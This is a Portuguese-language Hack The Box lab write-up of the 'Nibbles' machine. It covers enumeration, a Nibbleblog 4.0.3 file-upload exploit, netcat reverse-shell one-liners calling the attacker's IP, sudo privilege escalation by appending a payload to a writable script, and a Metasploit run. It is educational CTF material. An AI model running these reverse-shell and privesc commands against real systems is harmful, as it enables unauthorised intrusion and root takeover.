HTB - Nibbles
Nibbles é minha primeira box no Hack The Box e também minha primeira vez estudando pentesting de verdade. A plataforma classifica ela como fácil, mas rootá-la foi muito difícil pra mim. Quem avaliou isso como “fácil” só pode ter nascido sabendo.
Algumas das coisas que vi nesse CTF:
- Metasploit
- Privesc
- Shell reverso
- Whatweb
- Gobuster
- NetCat
📋 Descrição da máquina
Nibbles is a fairly simple machine, however with the inclusion of a login blacklist, it is a fair bit more challenging to find valid credentials. Luckily, a username can be enumerated and guessing the correct password does not take long for most.
🔍 Enumeração
Aprendi vários comandos de enumeração mas até agora o mais útil foi o nmap ( Network Mapper )
nmap $IPEsse comando mapeia as 1000 portas mais comuns em aplicações e retorna as que estão abertas, existem várias opções no nmap mas não precisei passar nenhuma nesse caso, o retorno foi esse:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-30 07:26 -0400
Nmap scan report for 10.129.48.7
Host is up (0.16s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 16.66 seconds2 portas estão abertas, 22 do ssh e 80 do http, não necessariamente são esses os serviços que estão usando as respectivas portas, o nmap só colocou o que é mais comum de estar usando a porta.
se eu tentar entrar no ssh, pede senha e o ssh tem algumas tratativas contra brute force, não compensa por enquanto.
ssh $IP
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
kali@10.129.49.66's password:Já a porta 80 normalmente é a porta de um servidor http, colocar http://<ip> no navegador valida essa ideia, fiz isso e tive o seguinte resultado, uma página html com “Hello World” escrito:

inspecionando o código-fonte, um comentário falando do path /nibbleblog/
<b>Hello world!</b>
<!-- /nibbleblog/ directory. Nothing interesting here! -->meio óbvio que eu precisava explorar esse path, nele encontrei um blog meio feio, meio vazio parecendo o meu agora, nada de interessante.
dá pra saber que é feito usando Nibbleblog, está escrito, mas como sou hacker e estou no Kali Linux, vamos usar o whatweb, nele também dá pra ver que o site é feito com Nibbleblog
$ whatweb http://$IP/nibbleblog
http://10.129.49.66/nibbleblog [301 Moved Permanently] Apache[2.4.18], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.49.66], RedirectLocation[http://10.129.49.66/nibbleblog/], Title[301 Moved Permanently]
http://10.129.49.66/nibbleblog/ [200 OK] Apache[2.4.18], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.49.66], JQuery, MetaGenerator[Nibbleblog], PoweredBy[Nibbleblog], Script, Title[Nibbles - Yum yum]pesquisei no Google por “nibbleblog exploit”, entrei em alguns CVEs e páginas e cheguei nessa página da seclists que explica uma vulnerabilidade que permite executar código arbitrário no nibbleblog
When uploading image files via the “My image” plugin - which is delivered with NibbleBlog by default - , NibbleBlog 4.0.3 keeps the original extension of uploaded files. This extension or the actual file type are not checked, thus it is possible to upload PHP files and gain code execution. Please note that admin credentials are required.
Inclusive tem uma PoC e um código pra abrir um shell com php nesse site que vou usar mais tarde.
Percebi já na PoC da seclist que vou precisar das credenciais de admin pra usar o plugin de upload e subir o shell reverso em php.
🔑 Caçando as credenciais de admin
Eu poderia subir uma instância Nibbleblog local na minha máquina já que o código é open source e investigar um pouco sendo admin, mas podemos também usar o gobuster pra tentar achar algumas rotas mais comuns em aplicações web
$ gobuster dir -u http://$IP/nibbleblog/ -w ~/SecLists/Discovery/Web-Content/common.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.129.49.66/nibbleblog/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /home/kali/SecLists/Discovery/Web-Content/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
.htpasswd (Status: 403) [Size: 307]
.htaccess (Status: 403) [Size: 307]
.hta (Status: 403) [Size: 302]
README (Status: 200) [Size: 4628]
admin (Status: 301) [Size: 323] [--> http://10.129.49.66/nibbleblog/admin/]
admin.php (Status: 200) [Size: 1401]
content (Status: 301) [Size: 325] [--> http://10.129.49.66/nibbleblog/content/]
index.php (Status: 200) [Size: 2987]
languages (Status: 301) [Size: 327] [--> http://10.129.49.66/nibbleblog/languages/]
plugins (Status: 301) [Size: 325] [--> http://10.129.49.66/nibbleblog/plugins/]
themes (Status: 301) [Size: 324] [--> http://10.129.49.66/nibbleblog/themes/]
Progress: 4751 / 4751 (100.00%)
===============================================================
Finished
===============================================================Encontrei algumas rotas importantes, uma das rotas era a porta de entrada da área admin: /nibbleblog/admin.php

outra das rotas me revelou que admin é um usuário válido /nibbleblog/content/private/users.xml
<users>
<user username="admin">
<id type="integer">0</id>
<session_fail_count type="integer">0</session_fail_count>
<session_date type="integer">1520559147</session_date>
</user>
<blacklist type="string" ip="10.10.10.1">
<date type="integer">1512964659</date>
<fail_count type="integer">1</fail_count>
</blacklist>
<blacklist type="string" ip="10.10.14.80">
<date type="integer">1520559030</date>
<fail_count type="integer">4</fail_count>
</blacklist>
</users>nesse momento eu ainda não sabia a senha, Brute force não funcionou, depois de algumas tentativas o sistema me bloqueou e só depois de um tempo desbloqueou, em nenhum lugar tem nem menção de senha, felizmente depois de algumas tentativas e pesquisa nos arquivos a senha nibbles funcionou, estou dentro!
💥 Exploit: shell reverso via upload
Sabemos que existe uma vulnerabilidade no nibbleblog v4.0.3 documentada no CVE-2015-6967, com um pouco de pesquisa dentro da área admin conseguimos confirmar a versão que estamos atacando.

no seclist tem um guia detalhado de como a vulnerabilidade funciona: https://seclists.org/fulldisclosure/2015/Sep/5
podemos subir um shell reverso em php no plugin My Image que vem instalado por padrão nessa versão do nibbleblog
uma cheatsheet de shell reverso em php: https://highon.coffee/blog/reverse-shell-cheat-sheet/#php-reverse-shell
primeiro criei o shell reverso apontando para o meu IP e para a porta 9443
echo "<?php system (\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKING_IP> 9443 >/tmp/f\"); ?>" >> shell.phpdepois de fazer upload desse arquivo shell.php precisei escutar a porta 9443 na nossa máquina com netcat
nc -lvnp 9443e agora pra abrir o shell reverso só precisei acessar esse arquivo http://<IP>/nibbleblog/content/private/plugins/my_image/image.php
o resultado foi esse:
nc -lvnp 9443
listening on [any] 9443 ...
connect to [10.10.15.197] from (UNKNOWN) [10.129.54.227] 50788
/bin/sh: 0: can't access tty; job control turned off
$consegui um shell reverso!
🐚 Estabilizando o shell (TTY)
pra ser sincero, esse shell que conseguimos é uma bosta: não tem histórico nem autocompletar com tab ( inclusive estou fazendo um shell em Rust, vou linkar ele aqui depois ). O motivo é que ele não está ligado a um terminal de verdade (TTY).
por sorte tinha python3 nessa máquina
$ type python3
python3 is /usr/bin/python3o python cria um pseudo-terminal (PTY) e roda o bash dentro dele, o que dá ao shell um TTY de verdade. Sem isso, programas como o sudo (que precisei no privesc) dão erro.
python3 -c 'import pty; pty.spawn("/bin/bash")'
nibbler@Nibbles:/var/www/html/nibbleblog/content/private/plugins/my_image$🚩 Primeira flag (user)
consegui a primeira flag!
$ cd ~
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txt
nibbler@Nibbles:/home/nibbler$ cat user.txt
cat user.txt
79******************************⬆️ Escalada de privilégios (privesc)
Pra segunda flag precisei de acesso root
nibbler@Nibbles:/home/nibbler$ id
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)
nibbler@Nibbles:/home/nibbler$ ls /root
ls /root
ls: cannot open directory '/root': Permission deniedna pasta do usuário nibbler tinha um arquivo chamado personal.zip
nibbler@Nibbles:/home/nibbler$ ls
ls
personal.zip user.txtusando unzip encontrei um script shell e o usuário nibbler tinha permissão pra escrever nele
nibbler@Nibbles:/home/nibbler$ unzip personal.zip
unzip personal.zip
Archive: personal.zip
creating: personal/
creating: personal/stuff/
inflating: personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$ ls -l personal/stuff/monitor.sh
ls -l personal/stuff/monitor.sh
-rwxrwxrwx 1 nibbler nibbler 4015 May 8 2015 personal/stuff/monitor.sh
nibbler@Nibbles:/home/nibbler$pra fazer mais algumas verificações dessa vez usei o script LinEnum, que verifica algumas coisas de privesc
precisei baixar o script do LinEnum na máquina atacada, fiz isso abrindo um servidor http na minha máquina com python e acessando pela máquina atacada
na minha máquina:
sudo python3 -m http.server 8080na máquina atacada:
nibbler@Nibbles:/home/nibbler$ wget http://10.10.15.197:8080/LinEnum.sh
wget http://10.10.15.197:8080/LinEnum.sh
--2026-07-06 08:19:37-- http://10.10.15.197:8080/LinEnum.sh
Connecting to 10.10.15.197:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46631 (46K) [application/x-sh]
Saving to: 'LinEnum.sh'
LinEnum.sh 0%[ ] 0 --.-KB/s LinEnum.sh 95%[==================> ] 43.51K 154KB/s LinEnum.sh 100%[===================>] 45.54K 160KB/s in 0.3s
2026-07-06 08:19:38 (160 KB/s) - 'LinEnum.sh' saved [46631/46631]
nibbler@Nibbles:/home/nibbler$ chmod +x LinEnum.sh
chmod +x LinEnum.shem uma parte do report do LinEnum dizia que era possível executar o monitor.sh como root sem precisar passar senha, e como nosso usuário nibbler consegue editar o arquivo, podemos adicionar mais um shell reverso e ter acesso root!
nibbler@Nibbles:/home/nibbler$ ./LinEnum.sh
./LinEnum.sh
#########################################################
# Local Linux Enumeration & Privilege Escalation Script #
#########################################################
# www.rebootuser.com
# version 0.982
...
[+] We can sudo without supplying a password!
Matching Defaults entries for nibbler on Nibbles:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nibbler may run the following commands on Nibbles:
(root) NOPASSWD: /home/nibbler/personal/stuff/monitor.shusei o tee -a para adicionar o shell reverso no final do arquivo e não causar a perda de privilégios do arquivo
nibbler@Nibbles:/home/nibbler/personal/stuff$ echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.197 8443 >/tmp/f' | tee -a monitor.shagora na minha máquina:
nc -lvnp 8443e na máquina atacada:
sudo /home/nibbler/personal/stuff/monitor.shconsegui acesso root!
👑 Segunda flag (root)
só faltava pegar a última flag:
cd /root
ls
root.txt
cat root.txt
de**************************🤖 Caminho fácil: Metasploit
fica bem mais simples usando o Metasploit
primeiro pesquisei a vulnerabilidade com search nibbleblog
msfconsole
msf > search nibbleblog
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/nibbleblog_file_upload 2015-09-01 excellent Yes Nibbleblog File Upload Vulnerability
Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/nibbleblog_file_uploadtem exatamente a vulnerabilidade que já explorei, usei ela e aproveitei pra setar o host atacado e da máquina atacante ( meu host ), respectivamente rhosts e lhost
msf > use 0
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/nibbleblog_file_upload) > set rhosts 10.129.54.227
rhosts => 10.129.54.227
msf exploit(multi/http/nibbleblog_file_upload) > set lhost 10.10.15.197
lhost => 10.10.15.197show_options pra saber o que mais falta setar
msf exploit(multi/http/nibbleblog_file_upload) > show options
Module options (exploit/multi/http/nibbleblog_file_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The password to authenticate
with
Proxies no A proxy chain of format type
:host:port[,type:host:port][
...]. Supported proxies: soc
ks5, http, socks5h, sapni, s
ocks4
RHOSTS 10.129.54.227 yes The target host(s), see http
s://docs.metasploit.com/docs
/using-metasploit/basics/usi
ng-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoi
ng connections
TARGETURI / yes The base path to the web app
lication
USERNAME yes The username to authenticate
with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.15.197 yes The listen address (an interface
may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Nibbleblog 4.0.3
View the full module info with the info, or info -d command.precisei setar o targeturi, password e username
msf exploit(multi/http/nibbleblog_file_upload) > set username admin
username => admin
msf exploit(multi/http/nibbleblog_file_upload) > set password nibbles
password => nibbles
msf exploit(multi/http/nibbleblog_file_upload) > set targeturi nibbleblog
targeturi => nibbleblogsetei tb o payload pra generic/shell_reverse_tcp
msf exploit(multi/http/nibbleblog_file_upload) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcprodei exploit e consegui acesso ao shell da máquina nibble
msf exploit(multi/http/nibbleblog_file_upload) > exploit
[*] Started reverse TCP handler on 10.10.14.2:4444
[*] Command shell session 4 opened (10.10.14.2:4444 -> 10.129.42.190:53642) at 2021-04-21 16:32:37 +0000
[+] Deleted image.php
id
uid=1001(nibbler) gid=1001(nibbler) groups=1001(nibbler)📝 Cheatsheet
Referência rápida de alguns comandos usados nessa box que quero salvar.
Enumeração
IP=10.129.49.66 # guardar o alvo numa variável
nmap $IP # portas mais comuns (22 ssh, 80 http)
nmap -sC -sV -p22,80 $IP # scripts padrão + versões dos serviços
whatweb http://$IP/nibbleblog # fingerprint do CMS (Nibbleblog)
gobuster dir -u http://$IP/nibbleblog/ \
-w ~/SecLists/Discovery/Web-Content/common.txt # descobrir rotas (admin.php, content/...)
curl http://$IP/nibbleblog/content/private/users.xml # revela que "admin" é usuário válidoEstabilizar o shell (TTY)
python3 -c 'import pty; pty.spawn("/bin/bash")'
# extra: Ctrl+Z → stty raw -echo; fg → export TERM=xtermPrivesc, sudo em script editável
# injeta o payload SEM apagar o arquivo (>> / tee -a preserva permissões)
echo 'adicionando no final do arquivo' | tee -a monitor.shTransferir arquivos (ex: LinEnum)
# atacante:
python3 -m http.server 8080
# alvo:
wget http://<ATTACKING_IP>:8080/LinEnum.sh && chmod +x LinEnum.sh && ./LinEnum.sh